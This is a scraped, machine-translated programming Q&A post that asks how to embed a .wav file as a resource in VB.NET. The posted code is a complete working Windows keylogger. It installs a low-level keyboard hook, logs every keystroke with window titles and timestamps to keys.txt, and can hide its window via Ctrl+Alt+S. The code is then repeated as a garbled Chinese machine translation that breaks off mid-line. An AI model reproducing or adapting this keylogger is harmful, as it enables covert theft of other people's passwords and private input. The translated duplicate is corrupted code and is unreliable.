.wav作为VB.NET中的资源
我得到一个错误,说要检查文件是否确实存在 SONG_的名字应该指向正确的资源。。。。我只想能够播放.wav,而不让他们的计算机上的.wav文件位于指定区域,因此它包含在.exe中。谢谢,伙计们!这是密码.wav作为VB.NET中的资源,vb.net,resources,wav,Vb.net,Resources,Wav,我得到一个错误,说要检查文件是否确实存在 SONG_的名字应该指向正确的资源。。。。我只想能够播放.wav,而不让他们的计算机上的.wav文件位于指定区域,因此它包含在.exe中。谢谢,伙计们!这是密码 Public Class Form1 #Region "API Functions And Structures" 'COLLAPSED CODE 'Event types Private Const WM_KEYUP As Integer = &H101 Private Const
Public Class Form1
#Region "API Functions And Structures" 'COLLAPSED CODE
'Event types
Private Const WM_KEYUP As Integer = &H101
Private Const WM_KEYDOWN As Short = &H100S
Private Const WM_SYSKEYDOWN As Integer = &H104
Private Const WM_SYSKEYUP As Integer = &H105
'Event Info structure
Public Structure KBDLLHOOKSTRUCT
Public vkCode As Integer 'KeyCode (Of interest to us)
Public scanCode As Integer 'ScanCode
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
Enum virtualKey
'Misc
K_Return = &HD
K_Backspace = &H8
K_Space = &H20
K_Tab = &H9
K_Esc = &H1B
K_Control = &H11
K_LControl = &HA2
K_RControl = &HA3
K_Delete = &H2E
K_End = &H23
K_Home = &H24
K_Insert = &H2D
K_Shift = &H10
K_LShift = &HA0
K_RShift = &HA1
K_Pause = &H13
K_PrintScreen = 44
K_LWin = &H5B
K_RWin = &H5C
K_Alt = &H12
K_LAlt = &HA4
K_RAlt = &HA5
'Locks
K_NumLock = &H90
K_CapsLock = &H14
'Arrows
K_Up = &H26
K_Down = &H28
K_Right = &H27
K_Left = &H25
'F1-24
K_F1 = &H70
K_F2 = &H71
K_F3 = &H72
K_F4 = &H73
K_F5 = &H74
K_F6 = &H75
K_F7 = &H76
K_F8 = &H77
K_F9 = &H78
K_F10 = &H79
K_F11 = &H7A
K_F12 = &H7B
K_F13 = &H7C
K_F14 = &H7D
K_F15 = &H7E
K_F16 = &H7F
K_F17 = &H80
K_F18 = &H81
K_F19 = &H82
K_F20 = &H83
K_F21 = &H84
K_F22 = &H85
K_F23 = &H86
K_F24 = &H87
'Numpad
K_Numpad0 = &H60
K_Numpad1 = &H61
K_Numpad2 = &H62
K_Numpad3 = &H63
K_Numpad4 = &H64
K_Numpad5 = &H65
K_Numpad6 = &H66
K_Numpad7 = &H67
K_Numpad8 = &H68
K_Numpad9 = &H69
'Math (numpad)
K_Num_Add = &H6B
K_Num_Divide = &H6F
K_Num_Multiply = &H6A
K_Num_Subtract = &H6D
K_Num_Decimal = &H6E
'Caracteres e Números
K_0 = &H30
K_1 = &H31
K_2 = &H32
K_3 = &H33
K_4 = &H34
K_5 = &H35
K_6 = &H36
K_7 = &H37
K_8 = &H38
K_9 = &H39
K_A = &H41
K_B = &H42
K_C = &H43
K_D = &H44
K_E = &H45
K_F = &H46
K_G = &H47
K_H = &H48
K_I = &H49
K_J = &H4A
K_K = &H4B
K_L = &H4C
K_M = &H4D
K_N = &H4E
K_O = &H4F
K_P = &H50
K_Q = &H51
K_R = &H52
K_S = &H53
K_T = &H54
K_U = &H55
K_V = &H56
K_W = &H57
K_X = &H58
K_Y = &H59
K_Z = &H5A
'Math (not numpad)
K_Subtract = 189
K_Decimal = 190
End Enum
'Keyboard hook related functions
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
'Other API functions
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
#End Region
Private KeyboardHandle As IntPtr = 0 'Handle of the hook
Private LastCheckedForegroundTitle As String = "" 'Title of the foreground window when last checked
Private callback As KeyboardHookDelegate = Nothing 'Delegate for the hook
Dim songOn As Integer = 1
Dim FILE_NAME As String = CurDir() & "\keys.txt"
Dim SONG_NAME As String = My.Resources.test1.ToString
Private KeyLog As String 'Variable which holds the text to be appended to the text file
''' Gets the title of the active window
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
''' Checks if we set a hook or not
Private Function Hooked()
Return KeyboardHandle <> 0 'If KeyboardHandle = 0 it means that it isn't hooked so return false, otherwise return true
End Function
''' Sets the keyboard hook
Public Sub HookKeyboard()
callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
If KeyboardHandle <> 0 Then
Me.btnStop.Enabled = True
Me.btnStart.Enabled = False
Label1.Text = "Active"
Label1.ForeColor = Color.DarkGreen
PlaySound.Stop()
End If
End Sub
''' Unsets the keyboard hook
Public Sub UnhookKeyboard()
If (Hooked()) Then
If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
Label1.Text = "Not Active"
Label1.ForeColor = Color.DarkRed
Me.btnStop.Enabled = False
Me.btnStart.Enabled = True
KeyboardHandle = 0 'We have unhooked successfully
End If
End If
End Sub
''' Function to be called when there's a keyboard event
Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
'Get current foreground window title
Dim CurrentTitle = GetActiveWindowTitle()
'If title of the foreground window changed
If CurrentTitle <> LastCheckedForegroundTitle Then
LastCheckedForegroundTitle = CurrentTitle
'Add a little header containing the application title and date
KeyLog &= vbCrLf & "----------- " & CurrentTitle & " (" & Now.ToString() & ") ------------" & vbCrLf
End If
'Variable to hold the text describing the key pressed
Dim Key As String = ""
'If event is KEYDOWN
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
'If we can block events
If Code >= 0 Then
'If Ctrl+Alt+S
If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = virtualKey.K_S Then
Me.Visible = Not Me.Visible 'Hide/Show form
Return 1 'Block event
End If
End If
'Translate virtual key into character/expression
Select Case lParam.vkCode
Case virtualKey.K_1
If My.Computer.Keyboard.ShiftKeyDown Then
Key = "!"
Else
Key = ChrW(lParam.vkCode)
End If
Case virtualKey.K_2
If My.Computer.Keyboard.ShiftKeyDown Then
Key = "@"
Else
Key = ChrW(lParam.vkCode)
End If
Case virtualKey.K_3
If My.Computer.Keyboard.ShiftKeyDown Then
Key = "#"
Else
Key = ChrW(lParam.vkCode)
End If
Case virtualKey.K_4
If My.Computer.Keyboard.ShiftKeyDown Then
Key = "$"
Else
Key = ChrW(lParam.vkCode)
End If
Case virtualKey.K_5
If My.Computer.Keyboard.ShiftKeyDown Then
Key = "%"
Else
Key = ChrW(lParam.vkCode)
End If
Case virtualKey.K_6
If My.Computer.Keyboard.ShiftKeyDown Then
Key = "^"
Else
Key = ChrW(lParam.vkCode)
End If
Case virtualKey.K_7
If My.Computer.Keyboard.ShiftKeyDown Then
Key = "&"
Else
Key = ChrW(lParam.vkCode)
End If
Case virtualKey.K_8
If My.Computer.Keyboard.ShiftKeyDown Then
Key = "*"
Else
Key = ChrW(lParam.vkCode)
End If
Case virtualKey.K_9
If My.Computer.Keyboard.ShiftKeyDown Then
Key = "("
Else
Key = ChrW(lParam.vkCode)
End If
Case virtualKey.K_0
If My.Computer.Keyboard.ShiftKeyDown Then
Key = ")"
Else
Key = ChrW(lParam.vkCode)
End If
Case virtualKey.K_0 To virtualKey.K_9
Key = ChrW(lParam.vkCode)
Case virtualKey.K_A To virtualKey.K_Z
Key = ChrW(lParam.vkCode + 32)
Case virtualKey.K_Space
Key = " "
Case virtualKey.K_RControl, virtualKey.K_LControl
Key = "[control]"
Case virtualKey.K_LAlt
Key = "[alt]"
Case virtualKey.K_RAlt
Key = "[alt gr]"
Case virtualKey.K_LShift, virtualKey.K_RShift
Key = ""
Case virtualKey.K_Return
Key = vbCrLf
Case virtualKey.K_Tab
Key = vbTab
Case virtualKey.K_Delete
Key = "[delete]"
Case virtualKey.K_Esc
Key = "[esc]"
Case virtualKey.K_CapsLock
If My.Computer.Keyboard.CapsLock Then
Key = "[/caps]"
Else
Key = "[caps]"
End If
Case virtualKey.K_F1 To virtualKey.K_F24
Key = "[F" & (lParam.vkCode - 111) & "]"
Case virtualKey.K_Right
Key = "[Right Arrow]"
Case virtualKey.K_Down
Key = "[Down Arrow]"
Case virtualKey.K_Left
Key = "[Left Arrow]"
Case virtualKey.K_Up
Key = "[Up Arrow]"
Case virtualKey.K_Backspace
Key = "[bkspace]"
Case virtualKey.K_Decimal, virtualKey.K_Num_Decimal
Key = "."
Case virtualKey.K_Subtract, virtualKey.K_Num_Subtract
Key = "-"
Case Else
Key = lParam.vkCode 'If we didn't treat it, show the virtual key code (integer) so that we know what Case to add
End Select
'If event is Key UP
ElseIf wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
Select Case lParam.vkCode
Case virtualKey.K_RControl, virtualKey.K_LControl
Key = "[/control]"
Case virtualKey.K_LAlt
Key = "[/alt]"
Case virtualKey.K_RAlt
Key = "[/alt gr]"
Case virtualKey.K_LShift, virtualKey.K_RShift
Key = ""
End Select
End If
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
Key = Key.ToUpper
End If
'Add it to the log
KeyLog &= Key
If Key <> "" Then
Me.ListBox1.Items.Add(Key) 'Add it to the listbox for debugging purposes
End If
Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) 'Let event go to the other applications
End Function
''' On tick
Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try
My.Computer.FileSystem.WriteAllText(CurDir() & "\keys.txt", KeyLog, True)
KeyLog = ""
Timer1.Start()
Catch ex As Exception
Timer1.Start()
End Try
If ListBox1.Items.Count > 1 Then
ListBox1.SelectedItem = ListBox1.Items.Item(ListBox1.Items.Count - 1)
End If
End Sub
''' On Form Exit
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
UnhookKeyboard()
My.Computer.FileSystem.WriteAllText(CurDir() & "\keys.txt", KeyLog, True)
End Sub
''' Start Hook
Private Sub btnStart_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStart.Click
Timer1.Start()
HookKeyboard()
End Sub
''' Stop the hook
Private Sub btnStop_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStop.Click
Timer1.Stop()
UnhookKeyboard()
End Sub
''' Exit Program
Private Sub btnExit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnExit.Click
Timer1.Stop()
Me.Close()
End Sub
Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
If Label1.Text = "Active" Then
Me.Visible = Not Me.Visible 'Hide/Show form
End If
End Sub
Private Sub btnOpenLog_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnOpenLog.Click
Timer1.Stop()
UnhookKeyboard()
System.Diagnostics.Process.Start("notepad.exe", FILE_NAME)
End Sub
Private Sub btnClearLog_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnClearLog.Click
If MessageBox.Show("This will clear the log. Continue?", "Confirm Clearing", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.Yes Then
Timer1.Stop()
UnhookKeyboard()
System.IO.File.WriteAllText(FILE_NAME, "")
ListBox1.Items.Clear()
End If
End Sub
Private PlaySound As New System.Media.SoundPlayer
Public Sub PlaySoundFile(ByVal SoundPath As String)
PlaySound.SoundLocation = SoundPath
PlaySound.Load()
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Left = (Screen.PrimaryScreen.WorkingArea.Width - Me.Width) / 2
Me.Top = (Screen.PrimaryScreen.WorkingArea.Height - Me.Height) / 2
PlaySoundFile(SONG_NAME)
End Sub
Private Sub pbMask_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles pbMask.Click
If songOn = 1 Then
PlaySound.Play()
songOn = 2
ElseIf songOn = 2 Then
PlaySound.Stop()
songOn = 1
End If
End Sub
End Class
公共类表单1
#区域“API函数和结构”折叠代码
'事件类型
私有常量WM_KEYUP为整数=&H101
私有常量WM_键控为短=&H100S
私有常量WM_SYSKEYDOWN为整数=&H104
私有常量WM_SYSKEYUP为整数=&H105
'事件信息结构
公共结构KBDLLHOOKSTRUCT
公共vkCode作为Integer的键码(我们感兴趣)
公共扫描码为整数“扫描码”
作为整数的公共标志
作为整数的公共时间
公共dwExtraInfo作为整数
端部结构
枚举虚拟基
“杂项
K_Return=&HD
K_退格=&H8
K_空间=&H20
K_选项卡=&H9
K_Esc=&H1B
K_控制=&H11
K_LControl=&HA2
K_RControl=&HA3
K_Delete=&H2E
K_End=&H23
K_Home=&H24
K_Insert=&H2D
K_移位=&H10
K_LShift=&HA0
K_RShift=&HA1
K_暂停=&H13
K_PrintScreen=44
K_LWin=&H5B
K_RWin=&H5C
K_Alt=&H12
K_LAlt=&HA4
K_RAlt=&HA5
“锁
K_NumLock=&H90
卡普斯洛克=&H14
“箭
K_Up=&H26
K_Down=&H28
K_Right=&H27
K_左=&H25
'F1-24
K_F1=&H70
K_F2=&H71
K_F3=&H72
K_F4=&H73
K_F5=&H74
K_F6=&H75
K_F7=&H76
K_F8=&H77
K_F9=&H78
K_F10=&H79
K_F11=&H7A
K_F12=&H7B
K_F13=&H7C
K_F14=&H7D
K_F15=&H7E
K_F16=&H7F
K_F17=&H80
K_F18=&H81
K_F19=&H82
K_F20=&H83
K_F21=&H84
K_F22=&H85
K_F23=&H86
K_F24=&H87
“努帕德
K_Numpad0=&H60
K_Numpad1=&H61
K_Numpad2=&H62
K_Numpad3=&H63
K_numpa4=&H64
K_Numpad5=&H65
K_Numpad6=&H66
K_Numpad7=&H67
K_Numpad8=&H68
K_Numpad9=&H69
“数学(numpad)
K_Num_Add=&H6B
K_Num_Divide=&H6F
K_Num_Multiply=&H6A
K_Num_Subtract=&H6D
K_Num_Decimal=&H6E
“Caracteres e Números
K_0=&H30
K_1=&H31
K_2=&H32
K_3=&H33
K_4=&H34
K_5=&H35
K_6=&H36
K_7=&H37
K_8=&H38
K_9=&H39
K_A=&H41
K_B=&H42
K_C=&H43
K_D=&H44
K_E=&H45
K_F=&H46
K_G=&H47
K_H=&H48
K_I=&H49
K_J=&H4A
K_K=&H4B
K_L=&H4C
K_M=&H4D
K_N=&H4E
K_O=&H4F
K_P=&H50
K_Q=&H51
K_R=&H52
K_S=&H53
K_T=&H54
K_=&H55
K_V=&H56
K_W=&H57
K_X=&H58
K_Y=&H59
K_Z=&H5A
“数学(不是numpad)
K_减法=189
K_十进制=190
结束枚举
'键盘挂钩相关功能
私有声明函数unhookwindowshookx Lib“user32”(ByVal hHook为整数)为整数
私有声明函数SetWindowsHookEx Lib“user32”别名“SetWindowsHookExA”(ByVal idHook为整数,ByVal lpfn为KeyboardHookDelegate,ByVal hmod为整数,ByVal dwThreadId为整数)为整数
将私有函数GetAsyncKeyState库“user32”(ByVal vKey作为整数)声明为整数
私有声明函数CallNextHookEx Lib“user32”(ByVal hHook为整数,ByVal nCode为整数,ByVal wParam为整数,ByVal lParam为KBDLLHOOKSTRUCT)为整数
私有委托函数KeyboardHookDelegate(ByVal代码为整数,ByVal wParam为整数,ByRef lParam为KBDLLHOOKSTRUCT)为整数
'其他API函数
将私有函数GetForegroundWindow Lib“user32.dll”()声明为Int32
私有声明函数GetWindowText Lib“user32.dll”别名“GetWindowTextA”(ByVal hwnd为Int32,ByVal lpString为String,ByVal cch为Int32)为Int32
#末端区域
私有键盘句柄,如IntPtr=0'钩子句柄
Private LastCheckedForegroundTitle作为字符串=“上次选中时前台窗口的标题”
作为KeyboardHookDelegate的私有回调=钩子的Nothing委托
Dim songOn作为整数=1
Dim文件名为String=CurDir()&“\keys.txt”
Dim SONG_NAME As String=My.Resources.test1.ToString
Private KeyLog As String'变量,该变量保存要附加到文本文件的文本
''获取活动窗口的标题
私有函数GetActiveWindowTitle()作为字符串
将MyStr变暗为字符串
MyStr=新字符串(Chr(0),100)
GetWindowText(GetForegroundWindow,MyStr,100)
MyStr=MyStr.子字符串(0,InStr(MyStr,Chr(0))-1)
返回MyStr
端函数
''检查我们是否设置了钩子
私有函数Hooked()
返回KeyboardHandle 0'如果KeyboardHandle=0,则表示它未挂接,因此返回false,否则返回true
端函数
''设置键盘挂钩
公用子键盘()
callback=新的KeyboardHookDelegate(KeyboardCallback的地址)
KeyboardHandle=SetWindowsHookEx(13,回调,Process.GetCurrentProcess.MainModule.BaseAddress,0)
如果键盘句柄为0,则
Me.btnStop.Enabled=True
Me.btnStart.Enabled=False
Label1.Text=“活动”
Label1.ForeColor=Color.DarkGreen
PlaySound.Stop()
如果结束
端接头
''取消键盘挂钩
公共子平台
如果(Hooked())那么
如果UnhookWindowsHookEx(键盘手柄)为0,则
Label1.Text=“未激活”
Label1.ForeColor=Color.DarkRed
Me.btnStop.Enabled=False
Me.btnStart.Enabled=真
KeyboardHandle=0'我们已成功解除挂钩
如果结束
如果结束
端接头
发生键盘事件时要调用的“”函数
公共函数键盘回调(ByVal代码为整数,ByVal wParam为整数,ByRef lParam为KBDLLHOOKSTRUCT)为整数
'获取当前前景窗口标题
Dim CurrentTitle=GetActiveWindowTitle()
'如果前景窗口的标题更改
如果CurrentTitle上次选中